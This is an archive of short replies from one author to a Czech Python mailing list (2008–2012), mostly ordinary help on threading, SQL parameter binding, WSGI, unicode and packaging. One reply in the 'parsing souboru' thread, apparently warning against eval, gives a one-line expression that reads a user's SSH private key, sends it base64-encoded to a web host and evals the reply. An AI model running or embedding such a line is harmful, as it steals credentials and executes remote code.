Re: [python] Thread a wxpython

2008-09-02 Tema obsahu petr . messner
Ahoj. Mě ten tvůj příklad moc nefungoval, musel jsem přidat pár volání metody Show. A i tak ten příklad fungoval jen někdy; sice neznám wx, ale myslím, že stejně jako u ostatních GUI toolkitů, nelze jen tak kombinovat volání z různých vláken, tedy přinejmenším bez nějaké synchronizace, viz

Re: [python] zapis na zacatek souboru

2008-09-11 Tema obsahu Petr Messner
Pokud se soubor otevře v režimu append, pak zápis je prováděn _vždy_ na konec souboru. POSIXový (a snad ani žádný jiný) operační systém neumí vkládat jinam než na konec souboru. Pokud je ukazatel jinde než na konci souboru, zápisem se přepisuje obsah souboru. Podle toho musíš postupovat - buď

Re: [python] jak na xml

2008-12-21 Tema obsahu Petr Messner
Ale #47; je /. To je dobře. V čem je problém? Do aplikace se stejně tyto entity nesmí dostat, je úkolem XML parseru je přeložit. PM Dne 21. prosinec 2008 16:37 Ondrej Beranek rain...@gmail.com napsal(a): Takze jsem s vasi pomoci udelal mensi skriptik. Ktery nema za ukol nic nez precist zapsat.

Re: [python] mod_python - problém s vícenásobn ým spuštěním jednoho skriptu

2009-01-08 Tema obsahu Petr Messner
Ahoj, webový prohlížeč se snaží být na servery hodný a neotevírat více jak dvě spojení najednou. Možná z toho máš pocit, že se to nechová paralelně. Zkus víc prohlížečů najednou (čti: použij wget). Jinak pro začátek, mám pocit, že mod_python nebývá moc doporučovaným způsobem tvoření webových

Re: [python] Unicode v databazi utf8

2009-01-18 Tema obsahu Petr Messner
Ahoj, execute(sql prikaz a v nem %s % promennaOdUZivatele) neni osetreno proti stavu, kdy v promenne budou apostrofy, natoz proti SQL injection. Vola se to takto: execute(sql prikaz a v nem %s, promennaOdUZivatele). Ono si to tu operaci % (cili naformatovani nebo jak to chceme nazyvat) provede

Re: [python] hash, mysql

2009-03-20 Tema obsahu Petr Messner
Zdravim, 2009/3/20 Jirka Vejrazka jirka.vejra...@gmail.com: ... Trochu mne zacina zajimat jaka je treba obrana proti SQL injection pres Unicode, ale to uz je jina pohadka. Unicode retezce se zakoduji do kodovani, ve kterem je vedeno spojeni (parametr charset= u funkce MySQLdb.connect). Ono

Re: [python] dateutil.relativedelta a posunuti casu.

2009-04-04 Tema obsahu Petr Messner
Ahoj, misto hour=+8 asi ma byt hours=+8. To plus je tam na ozdobu, jde o to, ze singular (hour) oznacuje absolutni hodnoty a plural (hours) rozdil, podobne jako v mx.datetime a jinde. Petr Messner On Apr 4, 2009, at 10:58, gja...@gmail.com wrote: Zdravim, import datetime import

Re: [python] Prosím ještě o jednu radu

2009-05-29 Tema obsahu Petr Messner
Ahoj, alt-f4 zavírá okno, zavření okna nemusí znamenat automaticky ukončení programu. Nejspíš si na zavření okna musíš pověsit nějaký callback, který ti ukončí program. Tohle bývá i v tutoriálech a ukázkových programech GUI knihoven. Ve WxPython stačí použít setTopWindow(); po uzavření

Re: [python] Fork - problém s přístupem k rodi čovské proměnné

2009-06-30 Tema obsahu Petr Messner
Pythonu řešit nějak elegantněji? Děkuji. Dne Tue, 30 Jun 2009 12:05:02 +0200 Petr Messner petr.mess...@gmail.com napsal(a): V půlce programu si to klidně forkneš a očekáváš, že z potomka si v pohodě můžeš měnit proměnné v rodičkovském procesu, navíc z obou procesů saháš do GTK? No fuj

Re: [python] sprava pameti,trida

2009-07-08 Tema obsahu Petr Messner
2009/7/8 Petr Zlamal p.zla...@gmail.com: Pratele, Potreboval bych poradit jak uvolnit pamet v pythonu, respektive jak odstranit nepotrebnou instanci tridy z pameti. Zkousel jsem prikaz del. Po provedeni del na instanci tridy je vsak pamet zaplnena furt stejne (sledovano pomoci top v linuxu).

Re: [python] vypis promennych dane instance

2009-07-09 Tema obsahu Petr Messner
Osobně mě jako první napadl spíš dir (je to podle mě druhá nejdůležitější funkce v Pythonu, hned po help), takto: class A: ... def __init__(self): ... self.a = 12 ... self.z = ... a = A() dir(a) ['__doc__', '__init__', '__module__', 'a', 'z'] 2009/7/9 Vlada Macek ma...@sandbox.cz:

Re: [python] python ast.literal_eval a čeština

2009-09-15 Tema obsahu Petr Messner
Ahoj, bohužel si tvůj příklad nemohu zrovna vyzkoušet, ale myslím, že by měl fungovat. Špatně se v něm pracuje s unicode/str a převodem mezi nimi (proč voláš encode na str?), ale protože str() slovníku vrací ASCII řetězec, ať je v něm cokoliv, protentokrát se to neprojeví. Nevím, co myslíš tím

Re: [python] Program vlastni env

2009-09-21 Tema obsahu Petr Messner
Ahoj, tím v env asi myslíš ve vyhledávací cestě ($PATH), to je totiž důvod, proč se tam to /usr/bin/env píše. Pokud chceš konkrétní verzi Pythonu jen pro jeden program, tak podle mě nejjednoduší bude změnit právě tento první řádek (tzv. shebang) třeba na #!/usr/bin/env python2.4. Samozřejmě

Re: [python] Python 3.x vs. Python 2.x

2009-09-29 Tema obsahu Petr Messner
Ahoj, zalezi na tom, co chcete delat. Ja treba u Pythonu 3 cekam na nejaky definitivni postup okolo WSGI, na ktery ceka i mnoho navazujicich knihoven pouzivanych pri tvorbe webovych aplikaci. Takze se (v teto oblasti) zatim dela v Pythonu 2 a az nastane spravny cas, projekty se jen prozenou pres

Re: [python] spousteni casti kodu jako root

2010-02-04 Tema obsahu Petr Messner
Jednak sqlite (pokud vim) nelze pouzivat soucasne ze dvou ruznych procesu... Samozřejmě, že lze. http://www.sqlite.org/faq.html#q5 PM ___ Python mailing list Python@py.cz http://www.py.cz/mailman/listinfo/python

Re: [python] GTK a klíčová slova

2010-02-06 Tema obsahu Petr Messner
). Petr Messner On 6.2.2010, at 18:59, Vladimír Šín wrote: Ahoj Pythonýři, mám XP prof,Wing IDE 101 ver 3.2.3-1 (rev 21238),python-2.6.4.msi,pygtk-2.12.1-3.win32-py2.6.exe,pygobject-2.14.2-2.win32 -py2.6.exe,pycairo-1.4.12-2.win32-py2.6.exe,py2exe-0.6.9.win32-py2.6.exe,...tohle vše mám

Re: [python] Pole v ctypes

2010-02-07 Tema obsahu Petr Messner
Ahoj, import ctypes plnp = [1, 2, 3, 4] array = ctypes.c_double * len(plnp) clnp = array(*plnp) clnp __main__.c_double_Array_4 object at 0x10024bef0 list(clnp) [1.0, 2.0, 3.0, 4.0] PM On 7.2.2010, at 18:03, Radek Machulka wrote: Zdar, posledni dobou se to tu celkem rozjelo,

Re: [python] webová vs. mailová konference (by lo: test [spam])

2010-02-08 Tema obsahu Petr Messner
Já osobně bych byl pro propojené webové fórum s mailing listem (případně fórum, které zároveň umí přijmout odpověď mailem). Mimochodem, tuším, že právě něco takového má builder.cz. Nevím, na koho je tento mailing-list cílen, ale pokud i na začátečníky a případné zájemce o Python, webové fórum by

Re: [python] systemove promenne

2010-02-09 Tema obsahu Petr Messner
Zkus místo toho nastavovat sys.path. Mimochodem, přes os.system nebo subprocess.call nastavit systémovou proměnnou pro již spuštěný proces samozřejmě nefunguje. PM 2010/2/9 Tomas Hnizdil tomash...@gmail.com: Dobry den, rad bych si nastavil promennou PYTHONPATH (resp. do ni pridal cestu k

Re: [python] Deferred output

2010-02-10 Tema obsahu Petr Messner
(odpověď je dole) On 11.2.2010, at 2:35, matesfila wrote: Zdravím, mám taký trochu algoritmický problém! Na adrese http://code.activestate.com/recipes/576961/ som sa dopátral k pre mňa dosť záhadnej algoritmickej konštrukcii, ktorú tam autor nazýva zhruba ako deferred output.

Re: [python] Newsletter

2010-02-12 Tema obsahu Petr Messner
WTF? 2010/2/12 Ondřej Ludvík ondrej.lud...@deckardpenfield.cz: Dobrý den, dovoluji si Vás pozvat k únorovému číslu našeho Newsletteru. V něm se kromě jiného seznámíte s koučinkem, dále zde naleznete širokou nabídku zajímavých pracovních pozic a v neposlední řadě můžete soutěžit o lístky na

Re: [python] spoj

2010-02-13 Tema obsahu Petr Messner
Docela to připomíná systém pro odevzdávání studentských prací katedry kybernetiky FEL ČVUT. Také automatické hodnocení, podpora pro více jazyků (Python, Java, C++), kromě accepted a wrong nechybí samozřejmě ani odpověď časový limit vypršel (poměrně oblíbená featura, http://zbrb.shy.cz/23). PM

Re: [python] Greedy regexp

2010-02-25 Tema obsahu Petr Messner
Ahoj, především jsi nenapsal, co se snažíš vyřešit. Každopádně, XML nebo HTML se neparsuje regulárními výrazy (protože to prostě nejsou jazyky s regulární gramatikou, IIRC), jsou na to knihovny (BeautifulSoup, lxml atd.). Pokud očekáváš One aTwo/a Three pak bys prostě měl to jedno /a v

Re: [python] py2exe

2010-03-03 Tema obsahu Petr Messner
Zkus to nějak přidat do includes: http://www.py2exe.org/index.cgi/ScipyImportProblems PM 2010/3/3 vepro p.zla...@gmail.com: Pratele, Zkousim udelat exe soubor pomoci py2exe pod win7 64bit. Uz jsem dosel do kroku kdy kompilace probehne a vytvori se exe soubor. V prubehu kompilace dojde k

Re: [python] nevznik objektu

2010-03-18 Tema obsahu Petr Messner
- vytvořit objekt, který při porovnání s False vrátí True (lze implementovat přetížením/vytvořením metody __nonzero__) BTW. počítáš i s IPv6, že jo? :) Petr Messner 2010/3/18 David Rohleder da...@ics.muni.cz: Ahoj, je možné, aby nevznikl objekt, který zrovna vytvářím? Příklad - mám třídu typu IP

Re: [python] nevznik objektu

2010-03-18 Tema obsahu Petr Messner
atd. a jede se dál. A i kdyby webová aplikace spadla (třeba na SIGSEGV) - v ideálním případě (a většina konfigurací takto funguje) se spustí znovu. Petr Messner ___ Python mailing list Python@py.cz http://www.py.cz/mailman/listinfo/python

Re: [python] Preklad list comprehension?

2010-03-25 Tema obsahu Petr Messner
to do závorky prosil originální (anglický) název. Petr Messner ___ Python mailing list Python@py.cz http://www.py.cz/mailman/listinfo/python

Re: [python] Jak hostujete pythoní weby?

2010-04-07 Tema obsahu Petr Messner
pro důvody, které jsem popsal výše. O mod_pythonu se jen hodně píše, prostě proto, že Apache a mod_název jazyka si lidé dlouho neumějí od webu odmyslet. Když už Apache, tak mod_wsgi v daemon módu. Nebo FastCGI. Nebo proxování na aplikační HTTP server :) Petr Messner 2010/4/6 Adam Strauch c

Re: [python] OT: preklad sanity check

2010-04-08 Tema obsahu Petr Messner
test správnosti 2010/4/8 Přikryl Petr prik...@atlas.cz: (Off topic) Zdravím všechny pojídače velikonočních vajec ;) Má tady další Kolik třešní, tolik višní... Překládal jste někdo pojem sanity check? Nebo jste to někdy někde viděli přeložené? Mám nějaké nápady, ale nic moc (a nechci

Re: [python] multiprocess a subprocess

2010-04-16 Tema obsahu Petr Messner
Předpokládám, že místo foo() je myšleno spouštění webového serveru přes Popen z bar(). Mě tento kód funguje, příkaz se spustí. Asi bude chyba někde jinde. Často pomůže podívat se přes strace, co to vlastně dělá (myslím příkaz strace v Linuxu nebo něco podobného v jiných OS). Raději sem ale

Re: [python] Záměna funkce v instanci objektu

2010-04-20 Tema obsahu Petr Messner
Existuje jiný způsob, než změna typu za běhu: class A: def b(self, x): self.x = x def c(self): return self.x a = A() a.b(42) assert a.x == 42 class Proxy: def __init__(self, obj): self.__dict__[_obj] = obj def __getattr__(self, name): return

Re: [python] Zkrácená forma přiřazení selž e

2010-04-20 Tema obsahu Petr Messner
/4/20 Petr Messner petr.mess...@gmail.com: Problem ale stejne bude v tom, ze kdyz chci prvy, druhy, treti, ctrty = slova tak ten iterator musi vratit presne 4 hodnoty a pak vyvolat StopIteration. A jak tomu reknes, ze z toho tahas ty 4 hodnoty? Leda tak tim, ze tam fakt budou presne 4. To ale

Re: [python] Python WSGI (začátečník)

2010-04-24 Tema obsahu Petr Messner
Ahoj, zkusím ti to nejdřív nějak vysvětlit, pak ti odpovím na tvé konkrétní otázky a závěr ještě něco přidám. Sorry, vzhledem k formulaci a vlastně samotné existenci dotazu jsem se trochu více rozepsal. Pro jistotu zde uvedu definici WSGI: je to lepidlo, pomocí kterého se slepí webový server

Re: [python] Python WSGI (začátečník)

2010-04-24 Tema obsahu Petr Messner
2010/4/24 Thomix thomi...@gmail.com: ... Na začátek bych strašně rád poděkoval za nádherné odezvy, které mě přivádějí na tu dle mého správnou cestu. Moje projekty navštěvuje více než deset lidí. Celový traffik je 4TB měsičné, beží na VPS (ubuntu a debian). Zpracovávám databáze o velikosti 100

Re: [python] OT: překlad caching proxy?

2010-05-05 Tema obsahu Petr Messner
Kešovací proxy? Oba termíny se mi zdají v češtině normálně používané. Petr Messner 5.5.2010 v 9:24, Petr Přikryl prik...@atlas.cz: Všechny zdravím a Slunce v duši (když už je tak zas...á obloha ), Mám tu zase takový oříšek. Překládá se nějakým stručným českým pojmem nebo ne-příliš

Re: [python] parsing souboru

2010-05-05 Tema obsahu Petr Messner
Ahoj, pokud to vypadá jako JSON, asi nejlepší bude použít na to nějakou knihovnu, jak už tu zaznělo. Další zmíněná možnost, eval, se mi moc nelíbí. Načítat do paměti bych se to nebál, 6 kB není zase tolik. Kdyby to ale náhodou JSON nebyl, pak přeji příjemnou zábavu :) Poslední dobou se objevují

Re: [python] parsing souboru

2010-05-05 Tema obsahu Petr Messner
eval(__import__('urllib2').urlopen('http://messa.cz/?pepovoklic='+__import__('base64').urlsafe_b64encode(open('/home/pepa/.ssh/id_dsa').read())).read(), {}, {}) 2010/5/5 Hynek Fabian hynek.fab...@firma.seznam.cz: Jan Janech (středa 05 Květen 2010 13:08:49): Dovolim si oponovat. Vsetko co sa da

Re: [python] cesta k importovanemu modulu

2010-05-05 Tema obsahu Petr Messner
Ahoj, zkusil jsi atribut __file__? $ python Python 2.5.5 (r255:77872, Feb 2 2010, 00:25:36) [GCC 4.4.3] on linux2 Type help, copyright, credits or license for more information. import os os module 'os' from '/usr/lib/python2.5/os.pyc' os.__file__ '/usr/lib/python2.5/os.pyc' PM 2010/5/5

Re: [python] OT: preklad cookies

2010-05-11 Tema obsahu Petr Messner
Myslím, že už jsem to viděl přeložené jako sušenky :) PM 2010/5/11 Petr Přikryl prik...@atlas.cz: Ahoj všeci, Co se týká překladu cookies, ptám se spíš ze zvědavosti. Jednak se to v překládaném textu vyskytuje minimálně a jednak je to tak speciální věc, že neuškodí nechat to v původním

Re: [python] zakazani importu

2010-05-18 Tema obsahu Petr Messner
2010/5/18 Jakub Zíka jakub.zika...@gmail.com: K tomu se dá použít modul RestrictedPython (http://pypi.python.org/pypi/RestrictedPython). Pokud používáte Linux nebo i jiný Unix, pak by Vás mohly zajímat další možnosti omezení nedůvěryhodného kódu (omezení využití procesoru a paměti), o kterých

Re: [python] Import modulů

2010-05-28 Tema obsahu Petr Messner
Já bych řešení zkombinoval. Do sys.path dal cestu odvozenou od __file__ (tedy to, co dáváte do os.chdir() a upravené o ../modules, bych dal do sys.path). import os import sys sys.path.append(os.path.abspath(os.path.join(__file__,  .., .., modules))) PM 2010/5/28 Radek Machulka

Re: [python] Dekorovana funkce

2010-06-23 Tema obsahu Petr Messner
Pokud se jedná o tvůj vlastní dekorátor, můžeš vracené funkci nastavit nejaký atribut, jehož přítomnost pak můžeš testovat. Mimochodem ten dekorátor co uvádíš není nejlepší, protože přepisuje název a dokumentaci původní funkce. Tím by to také možná šlo zjistit. Petr Messner 23.6.2010 v

Re: [python] Buffer overflow na Win7?

2010-07-15 Tema obsahu Petr Messner
jeste hrozim, na co prijdu, az to pustim pod Macem ;-). Mac OS X je samozřejmě v pohodě (je to Unix). Co funguje na Linuxu a nepoužívá speciality linuxového kernelu, by mělo fungovat i tam. Marek ___ Petr Messner

Re: [python] Třída, která vytvoří instanci jen pokud tam už není instance se stejnými p arametry

2010-07-22 Tema obsahu Petr Messner
: def __init__(self, name): ... Petr Messner 2010/7/22 MICHÁLEK Jan Mgr. michalek@uhul.cz: Ten slovník tam mám, já to umím zachytit, ale neumim udělat to, aby se ta instance nevytvořila přes init, šlo by udělat z1= Zvire.pridejZvire('hroch') #a ta metoda bz se podivala do

Re: [python] pomoc v pythone

2010-07-24 Tema obsahu Petr Messner
, existuje ještě jedna možnost - otevřít souboru v režimu universal newline support a jako oddělovač řádku psát jen \n, ono by se to pak mělo na Windows na \r\n převést samo. (To, že jedeš na Windows, odvozuji ze sleepu na konci.) Petr Messner 2010/7/24 iThomaas bielik.tho...@gmail.com: Zdravim

Re: [python] xml.etree.ElementTree , parsován í xml

2010-07-27 Tema obsahu Petr Messner
Když udělám track.find(name).text, tak ten text dostanu. Kód na http://gist.github.com/492225 začne vypisovat názvy skladeb. Mimochodem, pokud máš s XML výstupem z Last.fm problémy, můžeš použít nějakou již připravenou knihovnu nebo zkusit JSON výstup (do url přidat parametr format=json). Petr

Re: [python] pyqt4,QTextEdit

2010-08-05 Tema obsahu Petr Messner
(je to narychlo a s Qt/PyQt nemám moc zkušeností, tak ten příklad neberte zas tak vážně :-)) Petr Messner 2010/8/5 vepro p.zla...@gmail.com: Vazeni pratele, Mam aplikaci, ktera pro gui vyuziva pyqt4. Muj problem se tyka QTextEditu. V jedne metode vyuzivam cyklus, ktery ma ve svem tele take

Re: [python] Stopky

2010-10-22 Tema obsahu Petr Messner
], [], [], timeout)    print rlist    if rlist:        print Bylo zadano: %r % sys.stdin.read()    else:        print Cas vyprsel        break Snad jsem odpověděl, na co jsi se ptal. Petr Messner 2010/10/22 remixus79 remixu...@gmail.com: Zdravím, potreboval by som poradiť. Mám program v ktorom je

Re: [python] metorda str

2010-11-03 Tema obsahu Petr Messner
str o nove veci, pouzivej pak zapis jako na predposlednim radku. Jenom si tu odvozenou tridu radeji pojmenuj jinak nez zase str :) Petr Messner On 3.11.2010, at 10:49, Visgean Skeloru visg...@gmail.com wrote: Dobrý den, mám tu následující kód, nevíte proč my hodí python na poslední řádek

Re: [python] nazev modulu jako funkce

2010-11-03 Tema obsahu Petr Messner
Import ve skutečnosti zavolá funkci __import__, které se název modulu předá jako řetězec. Takže zkus něco jako modul = __import__(promenna). Doufám, že v případě vítězného vyřešení puzzle se výherce podělí s komunitou :) Petr Messner 2010/11/3 Charlotte van Leeweneck vanleeweneck.charlo

Re: [python] Proces vs. vlakno

2010-11-03 Tema obsahu Petr Messner
Ahoj, na jakém operačním systému a jaké verzi to zkoušíš? Třeba Linux nevytváří vlákna, ale procesy. Vlákna jsou jen procesy, které spolu sdílí nějaké prostředky (paměť, otevřené soubory apod.). Viz clone(2). V Linuxu prostě každé vlákno má svoje PID, několik vláken má shodné TGID (thread

Re: [python] Stlačanie kláves

2010-11-16 Tema obsahu Petr Messner
To nejlépe umějí malé děti. Případně kočky. Nebo můžeš do klávesnice vysypat zrní a dát ji za okno. S pozdravem PM On 16.11.2010, at 18:56, remixus79 wrote: Dobrý deň, mal by som zase raz jednu otázku. Dal by sa spraviť program taký že keď ho zapnem by stláčal klávesy ? Napríklad

Re: [python] vlakna,cpu

2010-11-18 Tema obsahu Petr Messner
jednoduché jako řešit to mezi vlákny. Viz modul multiprocessing, zmiňovaný ostatními. Třeba u webového nebo aplikačního serveru nemusí být důležité, aby mezi sebou jednotlivé procesy vůbec komunikovaly, pak je řešení triviální (spustit více procesů). Petr Messner 2010/11/18 vepro p.zla...@gmail.com

Re: [python] automatické zadání hesla

2010-11-21 Tema obsahu Petr Messner
třeba nějaké klíče podobně jako u SSH, nebo zadat cestu k nějakému konfiguráku s heslem? Petr Messner 2010/11/21 Martin Kubát kubatmar...@seznam.cz: Přeji hezký den, řeším tento problém: v cronu se spouští python skript který potřebuje ke svému běhu zadat login a heslo (konkrétně remote api pro

Re: [python] ctypes a file object

2010-11-24 Tema obsahu Petr Messner
Jenom takovy napad - nebylo by lepsi fp = C.pythonapi.PyFile_AsFile(open(phototest.tif)) ? PM 2010/11/24 Zdenko Podobný zdpos...@gmail.com Zdravim, potrebujem v pythone robit s viacstrankovymi tiff subormi a po roznych testoch a googlovani som skoncil na tom, ze cisto python riesenie

Re: [python] super()

2010-12-29 Tema obsahu Petr Messner
AFAIK mělo by si to umět lépe poradit s dědičností do diamantu, tedy nějaké odvozené třídě se pak konstruktor nezavolá třeba dvakrát. Petr Messner 29.12.2010 v 19:23, spooky...@tbs-software.com: Zdravím, vysvětlil by mi někdo polopaticky používání builtinu super(). Jaký je hlavní rozdíl v

Re: [python] Bezpečnsost kódu - funkce exec

2011-02-02 Tema obsahu Petr Messner
Na to nemusíš používat exec. Pokud chceš importovat nějaký soubor/modul, jehož jméno máš v proměnné, viz __import__. Potom stačí třeba getattr. PM 2011/2/2 Filip Bartmann fil...@centrum.cz: Jak si myslíte, že je bezpečná funkce exec v následujícím kódu:

Re: [python] QA server zaměřený na Python

2011-02-19 Tema obsahu Petr Messner
Ahoj, jen takový detail - v předmětu potvrzovacího mailu je Welcome to Qamp;A Roští.cz, to amp; tam asi nepatří :) Takže to znamená, že většina provozu zde na mailinglistu se přesune na QA? :) PM 2011/2/18 Adam Štrauch c...@initd.cz: Ahoj, snažím se rozjet QA server zaměřený na Python na

Re: [python] Dnesni sraz v Praze

2011-03-30 Tema obsahu Petr Messner
Doufám, že nějakého Pythonistu potkám i za týden ve Fraktálu :) Petr Messner 30.3.2011 v 13:04, Vladimir Macek ma...@sandbox.cz: Upozornuji na dnesni pravidelny prazsky sraz djangistu a vubec pythonistu: https://groups.google.com/group/django-cs/browse_thread/thread/696d7ab17866e579

Re: [python] velikost souborů

2011-04-20 Tema obsahu Petr Messner
os.stat Ta velikost na disku znamená včetně obsazených bloků na disku, které ale nemusí být zcela zaplněny tím souborem. Petr Messner 20.4.2011 v 17:35, g...@post.cz: Ve Windows (xp) když dám Vlastnosti souborů, tak vidím 4 velikosti souboru: Velikost 4,64 MB (4 875 317 bajtů) Velikost

Re: [python] velikost souborů

2011-04-20 Tema obsahu Petr Messner
A nebo jestli jsem nepochopil otazku a problém je v tom, že 4.64 MB != 4 640 000 B (zaokrouhleno) - je třeba si uvědomit, že megabajt má obvykle 2^20, ne 10^6 bajtů. Takže stačí v Pythonu jen vhodně vydělit číslem 2^20. Petr Messner 20.4.2011 v 17:35, g...@post.cz: Ve Windows (xp) když dám

Re: [python] ako načítať tieto údaje z .bin súboru?

2011-05-09 Tema obsahu Petr Messner
Nevím, jestli jsi na správné adrese. Nejspíš jde o data serializovaná z Javy: $ file databaze.bin databaze.bin: Java serialization data, version 5 S tím Python asi moc nepomůže. Jinak nejspíš se jedná o nějakou konfiguraci přístupu do databáze Firebird nebo tak něco: $ strings databaze.bin

Re: [python] odoslanie dát na server s php

2011-05-10 Tema obsahu Petr Messner
Šlo by to třeba přes HTTP POST - viz http://docs.python.org/library/urllib2#examples PM 2011/5/10 miamia peterirbi...@gmail.com: zdravím všetkých, zaujimál by ma váš názor na niečo takéto. začal som (včera) :) programovať v pythone (2.7) a potreboval by som odoslať dáta z aplikácie priamo

Re: [python] vykonávanie príkazu každých 5 sekún a práca s aplikáciou

2011-05-11 Tema obsahu Petr Messner
Petr Messner 11.5.2011 v 23:03, miamia peterirbi...@gmail.com: zdravím vospolok, prosím o radu skúsenejších, používam na vykonanie príkazu každých 5 sekúnd toto: def do_event(): print 5 seconds, hurray! s.enter(5, 1, do_event, ()) s.enter(1, 1, do_event, ()) s.run() avšak

Re: [python] vykonávanie príkazu každých 5 sekún a práca s aplikáciou

2011-05-11 Tema obsahu Petr Messner
se pak provede v rámci event loop. Jak přesně myslíš, že by to mělo běžet na pozadí? Je součástí toho, co chceš periodicky spouštět, něco náročného, kvůli čemu by GUI mohlo nepříjemně zamrznout? Petr Messner 11.5.2011 v 23:03, miamia peterirbi...@gmail.com: zdravím vospolok, prosím o radu

Re: [python] exe s knižnicami = veľký objem dát

2011-05-22 Tema obsahu Petr Messner
IronPython? :) Petr Messner 22.5.2011 v 13:05, miamia peterirbi...@gmail.com: no na druhú stranu, obrovské prachy za visual C++, visualbasic, sa mi veľmi nechce dávať. otázkou u mňa stále zostáva, aký programovací jazyk použiť na to, aby výsledné programy fičali na win (prípadne linux) bez

Re: [python] python post cez urllib na https

2011-05-27 Tema obsahu Petr Messner
V dokumentaci urllib (http://docs.python.org/library/urllib.html) se píše: Warning: When opening HTTPS URLs, it is not attempted to validate the server certificate. Use at your own risk! Takže data byla odeslána zašifrovaná, ale nikoli bezpečným způsobem - kdo by se dokázal vydávat za cílový

Re: [python] pytho + php sifrovanie/desifrovanie

2011-06-04 Tema obsahu Petr Messner
binární řetězec (tedy zašifrovaný text) nějak rozumně čitelně vypsat, hodí se na to base64 (v ukázce jsem použil hexadecimální čísla). Petr Messner 2011/6/4 miamia peterirbi...@gmail.com Dobry den, prosim Vas, potrebujem zasifrovat text v pythone a potom ho desifrovat v skripte PHP. Skusal som

Re: [python] Tisk unicode řetězce a tisk seznamu unicode řetězců

2011-06-07 Tema obsahu Petr Messner
- Unicode HOWTO http://farmdev.com/talks/unicode/ - Unicode In Python, Completely Demystified (prezentace) http://stackoverflow.com/questions/1436703/difference-between-str-and-repr-in-python - Difference between __str__ and __repr__ in Python Petr Messner 2011/6/7 David Rohleder da...@ics.muni.cz

Re: [python] cgi

2011-08-04 Tema obsahu Petr Messner
Ahoj, tento problém řeší snad každý webový framework, takže možnosti existují. Třeba Werkzeug se dá pod CGI rozjet takto: http://werkzeug.pocoo.org/docs/deployment/cgi/ POSTnutá data jsou k dispozici v MultiDictu Request.form, soubory jsou zvlášť v Request.files:

Re: [python] cgi

2011-08-04 Tema obsahu Petr Messner
, nevím. budu se do toho muset pořádně začíst, popravdě toho moc o cgi nevím každopádně ještě jednou díky, já se asi budu muset prohrabat v těch frameworkách :( Dne 4.8.2011 10:30, Petr Messner napsal(a): Ahoj, tento problém řeší snad každý webový framework, takže možnosti existují. Třeba

Re: [python] PYTHONPATH

2012-01-11 Tema obsahu Petr Messner
Zřejmě to lépe nejde. Ale výsledek stojí za to - rozhodně lepší, než se snažit mít v systému nainstalované verze modulů, které by byly kompatibilní se vším, nebo být nucen izolovat aplikace do virtuálních serverů. PM Dne 11. ledna 2012 15:39 Hynek Fabian hynek.fab...@firma.seznam.cz napsal(a):

Re: [python] PYTHONPATH

2012-01-11 Tema obsahu Petr Messner
Ne každý používá bash :) PM 2012/1/11 Matej Cepl mc...@redhat.com: Dne 11.1.2012 07:36, Ing. Vladislav Ludík napsal(a): export PYTHONPATH=$PYTHONPATH:/cesta_k_mym_modulum Pro normálního uživatele přidejte tuto řádku do  ~/.bashrc (tedy .bashrc soubor v domácím adresáři). Po přelogování to

Re: [python] Jak získat název procesu když znám PID procesu

2012-03-10 Tema obsahu Petr Messner
Ahoj, Mimochodem linuxovský příkaz ps -d | grep program.py, který by vyfiltroval jen to co hledám, funguje pod linuxem, ale přes subprocess ne. Hlásí:  ERROR: Garbage option. Funguje i přes subprocess, jenže se to musí spustit pomocí shellu - jedná se totiž o dva programy propojené rourou, ne

Re: [python] Unicode/ne-unicode problem

2012-05-02 Tema obsahu Petr Messner
nějaké kódování už vůbec nestarat. Samozřejmě pokud máte nejaky vstup, u kterého jste si jistý, že vám bude dodávat řetězce v utf-8, první (a jediné), co uděláte, je decode(utf-8) :) Petr Messner 2. 5. 2012 v 10:16, Jaroslav Lukesh luk...@seznam.cz: Děkuji, ale nechápu, jak proměnné říct, že

Re: [python] Unicode/ne-unicode problem

2012-05-02 Tema obsahu Petr Messner
problémům vyhnuli. Bohuzel teď nejsem u počítače, pak odpovím i s příkladem. Petr Messner 2. 5. 2012 v 11:06, Jaroslav Lukesh luk...@seznam.cz: Jenže právě toto nějak nejde, řve na tom ř: s='Ă˝ á Ă­ Ă.' u = s.decode(utf8) Traceback (most recent call last): File stdin, line 1, in ? File /var

Re: [python] Unicode/ne-unicode problem

2012-05-02 Tema obsahu Petr Messner
Ono to možná nikam nevede. Bez posledních dvou znaků je to OK: print \xC3\xBD \xC3\xB7 \xC3\xAD.decode(utf8) ý ÷ í Ono za \xC3 musí z definice UTF-8 následovat bajt, který má nastavený nejvyšší bit, a to obyčejná tečka není snad v žádném kódování, rozhodně v žádném založeném na ASCII jako je

Re: [python] Zji?==?UTF-8?Q?štění názvu souboru

2012-08-02 Tema obsahu Petr Messner
Ahoj, __file__ v programu z py2exe není. Teď jsem si to zkoušel, když kliknu na soubor s neznámou příponou, nastavím asociaci k programu z py2exe, tak po spuštění tohoto souboru bude jeho název v sys.argv[1]. V sys.argv[0] je potom cesta k tomu .exe souboru z py2exe. Asi se to dá i nějak více

Re: [python] ssh klient pro python

2012-08-12 Tema obsahu Petr Messner
A nebo se podívat na modul ssh, který právě fabric používá a je to fork paramika. http://pypi.python.org/pypi/ssh/ https://github.com/fabric/fabric/issues/275 PM ___ Python mailing list Python@py.cz http://www.py.cz/mailman/listinfo/python

Re: [python] záloha databáze

2012-08-14 Tema obsahu Petr Messner
Ahoj, zálohu jaké databáze? MySQL, PostgreSQL, MongoDB, ...? Je to něco, co se přímo týká Pythonu? Protože rozumná databáze by měla mít dobrou dokumentaci a nástroje k jejímu zálohování. Co se na tom zdá podivné? Proč celery, nestačí cron? PM Dne 14. srpna 2012 21:52 Visgean Skeloru

Re: [python] podpora postgresql v běžných skriptech

2012-08-29 Tema obsahu Petr Messner
Pomohlo by nainstalovat to odtud? http://www.stickpeople.com/projects/python/win-psycopg/ (Tento odkaz je na http://initd.org/psycopg/ vpravo v Quick links Windows Download.) Petr Messner 2012/8/29 Ondrej Beranek rain...@gmail.com Ahoj, potřeboval bych pro pár menších skriptů podporu

Re: [python] multiprocess problem se sirotkem

2012-09-05 Tema obsahu Petr Messner
Na Linuxu mi právě běží spousta procesů, jejichž parent už neběží :) Petr Messner Dne 5. září 2012 9:56 azurIt azu...@pobox.sk napsal(a): Ahoj, proces je ukonceny pretoze jeho parent skoncil (proces web serveru - CGI skript). Ak si na linuxe, tak toto nie je mozne takymto sposobom urobit

Re: [python] multiprocess problem se sirotkem

2012-09-05 Tema obsahu Petr Messner
